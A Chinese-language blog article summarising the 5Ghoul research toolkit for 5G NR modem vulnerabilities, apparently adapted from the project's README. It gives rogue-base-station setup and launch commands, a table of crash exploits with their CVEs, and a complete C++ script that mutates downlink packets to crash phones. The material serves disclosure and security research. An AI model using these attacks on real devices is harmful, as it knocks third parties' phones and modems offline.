乐于分享
好东西不私藏

5Ghoul工具:揭开 5G 网络攻击的神秘面纱

5Ghoul工具:揭开 5G 网络攻击的神秘面纱

5Ghoul工具:揭开 5G 网络攻击的神秘面纱

5Ghoul:揭开 5G 网络攻击的神秘面纱

当第五代移动通信技术走进千家万户,你是否想过,那些看似坚不可摧的 5G 网络,可能正面临着前所未有的安全挑战?

项目背景与发现历程

2025 年 9 月 15 日,安全研究团队 Asset Group 再次带来震撼业界的消息——他们发现了 12 个新的高危 5G 漏洞,全部影响主流厂商的基带调制解调器。至此,5Ghoul 项目已累计发现 22 个新漏洞,其中 18 个被评定为高危级别。

这项研究的成果将发表在 IEEE TDSC(IEEE Transactions on Dependable and Secure Computing)期刊上,技术论文可在项目官方页面获取。

5Ghoul 是一个针对 5G NR(New Radio)协议栈的实现级拒绝服务漏洞家族,主要影响高通(Qualcomm)和联发科(MediaTek)两大移动平台。受影响的设备范围涵盖商用智能手机、CPE 路由器、USB 调制解调器等多种终端设备。

技术原理与系统架构

核心工作机制

5Ghoul 的工作原理基于软件定义无线电(SDR)技术,通过 USRP B210 硬件设备模拟 rogue 基站(gNB),与目标用户设备(UE)建立连接,然后发送精心构造的恶意协议数据单元(PDU),触发目标设备协议栈中的漏洞。

系统架构分为三个核心层次:

物理层与数据链路层:基于 OpenAirInterface 开源项目实现 5G MAC、RLC 和 PDCP 协议,负责无线信号的发送接收和底层协议处理。

核心网络层:集成 Open5GS 开源 5G 核心网,处理 NAS、IPv4 等高层协议,管理用户认证和会话建立。

攻击引擎层:5Ghoul 自主研发的数据包拦截与变异引擎,支持上行和下行数据包的双向分析与修改。

数据包拦截机制

当用户设备发送上行数据包时,OpenAirInterface 软件栈会将 MAC 帧转发至 5Ghoul 数据包拦截 API。该 API 根据用户定义的过滤规则对数据包进行解码和分析,类似于 Wireshark 的显示过滤器功能。

下行数据包的拦截则采用”保持”(Hold)操作机制。基站生成的原始 5G MAC 缓冲区在发送前会被传递给用户的 C++ 攻击脚本,允许在数据包发送前进行修改。任何对数据包缓冲区的更改都会被转发回基站软件栈,最终通过空中接口发送给目标设备。

硬件与软件需求

硬件配置

USRP B210 软件定义无线电:这是运行 5Ghoul 的核心硬件设备,可直接从 Ettus 公司购买。该设备支持 5G 频段,能够与 OpenAirInterface 5G 软件栈完美配合。

可编程 SIM 卡(可选):部分手机在没有测试 SIM 卡的情况下不会连接到任意网络。推荐使用 SysmoISM-SJA2 可编程 SIM/USIM/ISIM 卡,可将归属网络配置为 001/01。

软件环境

5Ghoul 的二进制版本已在裸机 Ubuntu 18.04 上测试确认。项目提供 Docker 容器,可在任何支持 Docker 的 Linux 系统上运行。官方已在 Docker 24.0.2 版本上验证容器功能。

需要注意的是,由于 USB3 延迟需要尽可能低,不建议使用任何虚拟机运行 5Ghoul。

快速开始指南

Docker 容器方式

对于大多数用户,推荐使用 Docker 容器方式快速启动 5Ghoul:

mkdir 5ghoulcurl -LJO https://github.com/asset-group/5ghoul-5g-nr-attacks/raw/master/container.shchmod +x container.sh./container.sh run release-5gsudo bin/5g_fuzzer --MCC=001 --MNC=01 --GlobalTimeout=false --EnableMutation=false

最后一条命令将启动基础基站而不执行任何攻击。当智能手机尝试连接到 rogue 基站时,5Ghoul PoC 会打印出”[!] 1/2 UE connected to eNB/gNB”消息,表明设置成功并准备就绪。

无 SDR 模拟模式

如果没有 SDR 硬件,可以使用 OpenAirInterface 提供的实验性模拟支持:

sudo bin/5g_fuzzer --EnableSimulator=true --EnableMutation=false --GlobalTimeout=false

需要注意的是,模拟模式下会收到”UE MAC Authentication Failure”错误消息,因为 OpenAirInterface 协议栈并未实现所有将 UE 连接到 gNB 的功能。但此模式可用于检查 5G 捕获和测试自定义攻击脚本。

空中数据包捕获

运行 5Ghoul PoC 后,gNB 与 UE 之间的空中通信跟踪(.pcapng 捕获文件)会自动保存到 logs 文件夹。可通过以下命令在 Wireshark 中查看:

./bin/wireshark logs/5gnr_gnb/capture_nr5g_gnb.pcapng

可用攻击类型详解

目前 5Ghoul PoC 提供 12 种预置攻击脚本,每种对应一个特定的漏洞利用场景:

漏洞编号
漏洞名称
利用脚本名称
CVE 编号
V1
无效 PUSH 资源分配
TBA
待定
V2
空 RRC dedicatedNAS-Message
TBA
待定
V3
无效 RRC 设置
mac_sch_rrc_setup_crash_
N.A(已修复)
V4
无效 RRC 重配置
mac_sch_rrc_reconfiguration_crash_
N.A(已修复)
V5
无效 MAC/RLC PDU
mac_sch_mac_rlc_crash_
CVE-2023-33043
V6
NAS 未知 PDU
mac_sch_nas_unknown_pdu_crash_
CVE-2023-33044
V7
禁用 5G/降级 via RRC
mac_sch_rrc_setup_crash_var_
CVE-2023-33042
V8
无效 RRC 设置 spCellConfig
mac_sch_mtk_rrc_setup_crash_4_
CVE-2023-32842
V9
无效 RRC pushCSIReportConfig
mac_sch_mtk_rrc_setup_crash_2_
CVE-2023-32844
V10
无效 RLC 数据序列
mac_sch_mtk_rlc_crash_
CVE-2023-20702
V11
截断 RRC physicalCellGroupConfig
mac_sch_mtk_rrc_setup_crash_6_
CVE-2023-32846
V12
无效 RRC searchSpacesToAddModList
mac_sch_mtk_rrc_setup_crash_1_
CVE-2023-32841
V13
无效 RRC 上行配置元素
mac_sch_mtk_rrc_setup_crash_3_
CVE-2023-32843
V14
空 RRC 上行配置元素
mac_sch_mtk_rrc_setup_crash_7_
CVE-2023-32845
V15
无效 RRC CellGroupID
mac_sch_mtk_rrc_setup_crash_8_
CVE-2024-20003
V16
无效 RRC CellGroupConfig
mac_sch_mtk_rrc_setup_crash_9_
CVE-2024-20004
DA1
NAS 洪水降级攻击
TBA
N.A

需要注意的是,V3 和 V4 漏洞似乎不影响固件版本为 2021 年及以后的高通模块。

查看可用攻击列表

可通过以下命令列出所有可用的攻击脚本:

sudo bin/5g_fuzzer --list-exploits

输出示例:

Available Exploits:--> mac_sch_mtk_rrc_setup_crash_3 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]--> mac_sch_mtk_rrc_setup_crash_7 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]--> mac_sch_rrc_setup_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]...

发起攻击实战

基础攻击命令

连接 USRP B210 到 PC/笔记本后,运行以下命令即可发起攻击:

sudo ./bin/5g_fuzzer --exploit=mac_sch_rrc_setup_crash_var --MCC=001 --MNC=01

5Ghoul PoC 运行后,会使用命令行提供的 MCC 和 MNC 启动 rogue 基站。插入兼容的测试 SIM 卡并在 Android 移动连接设置中扫描运营商网络,即可尝试连接到此 rogue 基站。

攻击效果展示

当智能手机连接到 rogue 基站并触发攻击时,终端会打印出相应的消息。以 V7 漏洞为例,该漏洞会禁用智能手机的 5G 连接,导致设备无法重新连接到 rogue 基站。如果 45 秒后仍无法与智能手机通信,会打印出”Target is not responding”消息。

教程视频

安全研究人员 @CemaexeCuter 制作了详细的教学视频,演示如何配置 5Ghoul 对 Quectel 基于高通的 5G 模块发起攻击。

视频链接:

https://www.youtube.com/watch?v=HN2r6esRDjM

自定义攻击脚本开发

5Ghoul 支持用户创建自定义测试用例,可自由修改基站与用户设备之间的通信流程。这不仅可用于发起新型攻击,还可用于数据包分析和入侵检测等多种应用场景。

脚本 API 使用说明

5Ghoul PoC 在启动时从 modules/exploits/5gnr_gnb 目录加载脚本,并调用 setup 和 module_name 函数。对于每个接收到的 5G 数据包,会调用相应的回调函数进行处理。

初始化配置

intsetup(wd_modules_ctx_t *ctx){// 禁用全局超时,防止 5Ghoul 停止并重启 5G 协议栈    ctx->config->fuzzing.global_timeout = false;// 禁用模糊测试(变异),防止修改下行 PDU    ctx->config->fuzzing.enable_mutation = false;// 声明过滤器    f1 = wd_filter("rlc-nr.am.dc == 0");return0;}

上行数据包拦截(仅分析)

intrx_pre_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){// 注册过滤器    wd_register_filter(ctx->wd, f1);return0;}intrx_post_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){// 测试上行数据包是否匹配过滤器if (wd_read_filter(ctx->wd, f1))    {printf("Packet filter matched here!!!!\n");    }return0;}

下行数据包拦截(分析与变异)

inttx_pre_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){// 注册过滤器    wd_register_filter(ctx->wd, f1);return0;}inttx_post_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){if (wd_read_filter(ctx->wd, f1))    {        wd_log_y("Malformed MAC data sent!");        pkt_buf[60 - 48] = 0xB5;  // 修改偏移量 12 处的字节        pkt_buf[61 - 48] = 0x02;  // 修改偏移量 13 处的字节return1;  // 表示数据包负载已被修改    }return0;  // 表示数据包负载无变化}

完整示例:MAC/RLC 崩溃脚本

#include<ModulesInclude.hpp>// 过滤器wd_filter_t f1;constchar *module_name(){return"ANY_NAME";}// 设置intsetup(wd_modules_ctx_t *ctx){// 更改攻击所需的配置    ctx->config->fuzzing.global_timeout = false;    ctx->config->fuzzing.enable_mutation = false;// 声明过滤器    f1 = wd_filter("rlc-nr.am.dc == 0");return0;}// 下行数据包处理inttx_pre_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){    wd_register_filter(ctx->wd, f1);return0;}inttx_post_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){if (wd_read_filter(ctx->wd, f1)) {        wd_log_y("Malformed MAC data sent!");        pkt_buf[60 - 48] = 0xB5;        pkt_buf[61 - 48] = 0x02;return1;    }return0;}

将新攻击脚本保存到 modules/exploits/5gnr_gnb 目录后,5Ghoul PoC 二进制文件会在启动时编译并加载新脚本。可通过列出攻击列表来验证脚本是否正确编译加载。

5G 模糊测试模式

5Ghoul 支持命令行模式和图形界面模式运行模糊测试功能。

命令行模式

sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true

图形界面模式

sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true --gui

成功连接智能手机或调制解调器后,5G 模糊测试器会以紫色高亮显示被变异(模糊)的下行 PDU。同时,向用户展示智能手机(UE)与执行模糊测试的 rogue 基站(gNB)之间空中通信的实时捕获。通信跟踪和日志保存到 logs/5gnr_gnb 目录。

图形界面主要用于开发和调试 5G 连接,或展示攻击和模糊测试效果。

从源码编译

系统要求

在编译项目之前,需要安装多个依赖项。项目为 Ubuntu 18.04 提供了自动化脚本 requirements.sh。

编译步骤

git clone https://github.com/asset-group/5ghoul-5g-nr-attackscd 5ghoul-5g-nr-attacks./requirements.sh dev  # 安装编译 5ghoul 模糊测试器的所有系统依赖./requirements.sh 5g   # 安装编译 OpenAirInterface 和 Open5GS 的所有系统依赖./build.sh all         # 编译所有二进制文件(包含 Wireshark),约需 20 分钟./build.sh dev         # (可选)不包含 Wireshark 编译所有二进制文件./build.sh             # 无参数运行,快速编译 5g_fuzzer

高级选项

运行以下命令可列出 5Ghoul PoC 的所有选项:

sudo bin/5g_fuzzer --help

主要选项包括:

模糊测试配置

  • –EnableDuplication:启用数据包复制
  • –EnableMutation:启用数据包变异(默认:true)
  • –EnableOptimization:启用优化(默认:true)
  • –DefaultMutationProbability:默认变异概率(默认:0.2)
  • –GlobalTimeout:全局超时(默认:true)
  • –GlobalTimeoutSeconds:全局超时秒数(默认:45)

NR5G 配置

  • –MCC:移动国家代码(默认:001)
  • –MNC:移动网络代码(默认:01)
  • –AutoStartBaseStation:自动启动基站(默认:true)
  • –AutoStartCoreNetwork:自动启动核心网(默认:true)
  • –EnableSimulator:启用模拟器模式

输出选项

  • –SaveProtocolCapture:保存协议捕获(默认:true)
  • –LiveProtocolCapture:实时协议捕获
  • –SaveLogsToFile:保存日志到文件(默认:true)
  • –gui:启动图形用户界面

技术影响与行业意义

5Ghoul 项目的发现揭示了 5G 协议栈实现中存在的深层次安全问题。这些漏洞不仅影响终端用户的设备安全,更可能对 5G 网络的整体可靠性构成威胁。

从技术角度看,这些漏洞主要集中在 RRC(无线资源控制)、RLC(无线链路控制)和 MAC(媒体访问控制)协议层的实现缺陷上。攻击者可以利用这些漏洞导致设备崩溃、连接中断,甚至强制设备降级到更不安全的网络制式。

对于设备制造商而言,及时修复这些漏洞至关重要。对于普通用户,保持设备系统和基带固件的最新版本是有效的防护措施。

项目链接

  • GitHub 仓库:https://github.com/asset-group/5ghoul-5g-nr-attacks
  • 官方披露页面:https://asset-group.github.io/disclosures/5ghoul/
  • 技术论文:https://asset-group.github.io/papers/5Ghoul.pdf

结语

5Ghoul 项目不仅是一个安全研究工具,更是推动 5G 网络安全发展的重要力量。通过公开这些漏洞细节,研究团队希望促使设备制造商加强安全测试,提升 5G 生态系统的整体安全水平。

对于安全研究人员而言,5Ghoul 提供了一个强大的平台,可用于探索 5G 协议栈的未知领域,发现新的安全威胁。对于普通用户,了解这些潜在风险有助于提高安全意识,采取适当的防护措施。

在 5G 技术日益普及的今天,这样的安全研究显得尤为重要。只有正视风险,才能构建更加安全可靠的通信网络。

  • 5G 安全
  • 漏洞研究
  • 软件定义无线电
  • 协议分析
  • 网络安全
  • 移动通信
  • 漏洞利用
  • 模糊测试
  • 高通漏洞
  • 联发科漏洞
END
开源情报
扫码关注
了解更多
本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » 5Ghoul工具:揭开 5G 网络攻击的神秘面纱

猜你喜欢

  • 暂无文章